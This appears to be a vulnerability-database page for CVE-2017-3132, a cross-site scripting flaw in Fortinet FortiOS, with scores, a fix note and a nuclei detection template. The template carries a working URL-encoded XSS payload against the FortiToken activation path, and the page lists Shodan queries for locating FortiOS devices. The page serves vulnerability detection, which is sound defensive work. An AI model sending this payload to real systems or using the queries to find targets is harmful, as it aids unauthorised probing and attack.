HexBrain

Browse / CVEs / CVE-2017-3132

CVE-2017-3132· fortinet / fortios· CWE-79

Fortinet FortiOS < 5.6.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
8.1%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.6.0 and earlier allows attackers to Execute unauthorized code or commands via the action input during the activation of a FortiToken.

Impact

Successful exploitation could lead to execution of malicious javascript.

Fix

Apply the latest security patches or upgrade to new version to mitigate the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/p/user/ftoken/activate/user/guest/?action=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Cscript%3E
Positive when: contains "var action = '</script><script>alert(document.domain)</scri…" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2017-3132 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2017-3132

info:
  name: Fortinet FortiOS < 5.6.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.6.0 and earlier allows attackers to Execute unauthorized code or commands via the action input during the activation of a FortiToken.
  impact: |
    Successful exploitation could lead to execution of malicious javascript.
  remediation: |
    Apply the latest security patches or upgrade to new version to mitigate the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/42388
    - https://nvd.nist.gov/vuln/detail/CVE-2017-3132
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-3132
    cwe-id: CWE-79
    epss-score: 0.08112
    epss-percentile: 0.94874
    cpe: cpe:2.3:o:fortinet:fortios:5.4.0:*:*:*:*:*:*:*
  metadata:
    vendor: fortinet
    product: fortios
    shodan-query:
      - http.html:"/remote/login" "xxxxxxxx"
      - http.favicon.hash:945408572
      - cpe:"cpe:2.3:o:fortinet:fortios"
  tags: cve,cve2017,fortinet,fortios,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/p/user/ftoken/activate/user/guest/?action=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Cscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "var action = '</script><script>alert(document.domain)</script><script>"

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from